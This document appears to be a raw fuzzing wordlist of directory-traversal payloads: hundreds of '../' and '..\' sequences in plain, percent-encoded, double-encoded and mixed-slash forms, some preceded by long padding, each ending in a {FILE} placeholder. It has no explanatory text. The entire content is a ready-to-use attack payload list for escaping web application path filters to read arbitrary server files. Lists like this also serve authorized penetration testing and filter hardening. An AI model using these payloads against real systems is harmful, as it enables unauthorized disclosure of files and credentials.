..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> %%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> ..%%35%63{FILE}<br /> ..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> %%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%5c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%5c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> \../{FILE}<br /> \../\../{FILE}<br /> \../\../\../{FILE}<br /> \../\../\../\../{FILE}<br /> \../\../\../\../\../{FILE}<br /> \../\../\../\../\../\../{FILE}<br /> \../\../\../\../\../\../\../{FILE}<br /> \../\../\../\../\../\../\../\../{FILE}<br /> /..\{FILE}<br /> /..\/..\{FILE}<br /> /..\/..\/..\{FILE}<br /> /..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\/..\/..\/..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA